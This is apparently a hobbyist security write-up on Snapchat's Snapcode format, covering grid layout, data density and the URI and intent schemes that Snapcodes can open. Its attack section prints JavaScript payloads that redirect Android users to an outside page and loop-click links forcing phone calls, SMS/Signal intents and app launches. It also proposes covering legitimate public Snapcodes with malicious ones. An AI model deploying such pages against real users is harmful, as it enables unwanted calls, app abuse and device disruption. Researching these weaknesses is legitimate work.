[user@n0.lol ~/wa/snapcodes]

Snapchat Snapcode Protocol

Snapcodes are a version of QR codes that Snapchat users can scan with the app to add friends. The codes are represented by a grid of dots within a border.

There are two types of Snapcodes, codes with a bitmoji avatar enabled, and codes with the default ghost. Every snapchat user has a Ghost code, but those with Bitmoji linked to their account will have a second code.

A snapcode of any user can be found through this url, where you replace {$USERNAME} with their username.

https://feelinsonice-hrd.appspot.com/web/deeplink/snapcode?username={$USERNAME}&type=SVG&bitmoji=enable

You can also force Ghost mode with this:

https://feelinsonice-hrd.appspot.com/web/deeplink/snapcode?username={$USERNAME}&type=PNG

This also converts the code to a PNG image that you can download. The SVG output is not directly downloadable.

Analysis

The Ghost code is an 18x18 grid of dots, with a ghost image in the center.

The bitmoji codes are a 19x19 grid of dots, with the face of their bitmoji avatar in the center.

The data density of a bitmoji code is 19^2, or 361 bits. Three bits in each corner are unused because of the rounded edge, bringing the total down to 349. When laid out in it's natural binary form, a bitmoji code looks like this:

0001111110111100000
0100111110010100000
0010100010000110100
0111010000000110111
1000000000000010010
1111000000000000010
0000000000000000001
1010000000000000101
0110000000000000010
0010000000000000001
0100000000000000100
0000000000000000011
0010000000000000101
1000000000000001110
1101100000000010101
0010000000000100001
1101000000001010111
0101110110100110100
0011100101000001000

The data density of a Ghost code is 18^2, with the same 12 bits from the corners that are unused. Here is an example of one of those:

000010100111001000
011011111011110010
000100000000010000
110010000000010101
101110000000010001
101010000000001001
101100000000010001
101000000000000001
000000000000000100
110100000000001110
001000000000001000
001000000000000010
100000000000000011
010000000000000010
001000000000001001
001010000000001100
010010100011011000
000101100000010000 Kylie Jenner

Data Density

Because the image itself takes up a decent amount of real estate here, the actual amount of data that can be represented is more like this:

XXXXXXXXXXXXXXXXXXX       XXXXXXXXXXXXXXX  
XXXXXXXXXXXXXXXXXXX      XXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXX     XXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXX     XXXXXXXXXXXXXXXXXXX
XXXXX         XXXXX     XXXXX         XXXXX
XXXXX         XXXXX     XXXXX         XXXXX
XXXXX         XXXXX     XXXXX         XXXXX
XXXXX         XXXXX     XXXXX         XXXXX
XXXXX         XXXXX     XXXXX         XXXXX
XXXXX         XXXXX     XXXXX         XXXXX
XXXXX         XXXXX     XXXXX         XXXXX
XXXXX         XXXXX     XXXXX         XXXXX
XXXXX         XXXXX     XXXXX         XXXXX
XXXXX         XXXXX     XXXXX         XXXXX
XXXXX         XXXXX     XXXXX         XXXXX
XXXXXXXXXXXXXXXXXXX     XXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXX     XXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXX      XXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXX       XXXXXXXXXXXXXXX  

     262 bits                 250 bits 
       - Bitmoji Data Arrangement -

Factoring in the 12 bits that are unused, the total bits that can be used to represent data around the bitmoji is 250.

The ghost code's data density is even smaller. 171 with the factored in Snapchat ghost.

XXXXXXXXXXXXXXXXXX      XXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXX     XXXXXXXXXXXXXXXX
XXXXXX      XXXXXX    XXXXXX      XXXXXX
XXXXX        XXXXX    XXXXX        XXXXX
XXXXX        XXXXX    XXXXX        XXXXX
XXXXX        XXXXX    XXXXX        XXXXX
XXXX          XXXX    XXXX          XXXX
XXX            XXX    XXX            XXX
XXX            XXX    XXX            XXX
XXXX          XXXX    XXXX          XXXX
XXXX          XXXX    XXXX          XXXX
XXX            XXX    XXX            XXX
XX              XX    XX              XX
XX              XX    XX              XX
XXX            XXX    XXX            XXX
XXXXXX      XXXXXX    XXXXXX      XXXXXX
XXXXXXXXXXXXXXXXXX     XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXX      XXXXXXXXXXXXXX  

Experiments

QR Codes are built to have error correction, which is why there can be some QR codes containing art within them. Snapcodes with the bitmoji enabled have more error correction built in to account for the varying size of the bitmoji avatar. I decided to play with my code, and tested the error correction by scanning a drawing of dots in the same configuration on graph paper.

Ghost codes cannot be scanned the same way, and doing so severely messes up the Snapchat scanning feature, crashing the app. This crashing also happens if the app doesn't get a clear read of the bitmoji code too.

URLs Encoded in Snapcode

Snapchat now has a feature that allows users to create snapcodes with links to their own sites for promotional purposes. After inspecting Snapchat's "Add Me" page that is generated when you share a snapchat profile via text or email, I saw that a URI was generated with this.

Here is one that was generated for my phone:

intent://add/{USERNAME}?sc_referrer=&link=%2Fadd%2F{USERNAME}&sc_ua={USERAGENT}&cid={CID}#Intent;scheme=snapchat;package=com.snapchat.android;end;

We can see that is uses the intent:// URI to open Snapchat on an android with some preconfigured variables. Opening this link on a phone will add the user specified by replacing those {USERNAME} variables. Looking further at Snapchat's site, I saw this:

    snapchat://unlock/?type=SNAPCODE

The snapchat URI itself, with an API call to "unlock" and a type defined by some UUID. Now knowing that there is a snapchat:// URI, we can simplify the add function:

    snapchat://add/{USERNAME}

And can embed some javascript to trigger the add function in a page

    window.location = "snapchat://add/n0pchan";

Knowing that snapchat's browser can parse device specific URIs, as well as internal API calls via snapcode, we can start doing stuff like this:

    market://details?id=com.snapchat.android
    market://details?id=com.termux

The first one opens up the Google Play store page for Snapchat itself, and the second one opens up the Termux app page.

Snapcodes As An Attack Vector

This snapcode was created to test the functionality of launching intents via Snapchat.

When opening a URL within a snapcode, the Snapchat internal browser handles the page rendering. You can call other apps on the device with URIs, and in the case of Android, intents. Direct URL. The following code is used on the page to detect if an android phone is accessing the page, and if so, launch Chrome with another page.

    var ua = navigator.userAgent.toLowerCase();
    var isAndroid = ua.indexOf("android") > -1;
    if(isAndroid) {
        window.location = "intent://repo.n0.lol/dummy2.html#Intent;scheme=http;package=com.android.chrome;end"
    }
    else {
        window.location = "dummy.html";
    }

The pages "dummy.html" and "dummy2.html" both attempt to trigger race conditions by launching several URIs at the same time. This has been shown to work in certain cases, but further experimentation is required. Sometimes, the page will crash the internal browser, and other times it will ask for user input to open an external app. In either case, the URIs are launched. The code used for dummy2, (the Android version) is as follows. The Android version in particular attempts to open Signal.

    <a href="intent://2223334444#Intent;scheme=smsto;package=org.thoughtcrime.securesms;action=android.intent.action.SENDTO;end" id="intenttel"></a>
    <a href="tel:+12223334444" id="tel"></a>
    <a href="akumaxmr.com" id="aku"></a>


    <script type="text/javascript"> 
      for(i=0;i<999999;++i){
        document.getElementById("tel").click(); document.getElementById("aku").click(); document.getElementById("intenttel").click();
        window.location = window.location;
      }
    </script>

The significance of this is that Snapcodes are like QR codes, but are much more accessible for the average user to scan. More people have Snapchat than a dedicated QR code reader, and are much more likely to scan a potentially malicious one. Even simply placing a malicious Snapcode over a legitimate one, such as one in a public place used for promotion for a store or event, will ensure that a large number of people will be exposed to the payload than most other forms of bait and switch. You may not necessarily have to rely on tricking the user into approving opening another app if the target is a well known Snapcode, as a majority of people would likely ignore that warning and continue on if they potentially can get something they want (such as a coupon or a chance to win something.)

Dissecting Snapcode Encoding

Experimenting with a few different tools to analyze large amounts of snapcodes.

To be continued...

Questions

There are a few questions I'll be loking into in the future.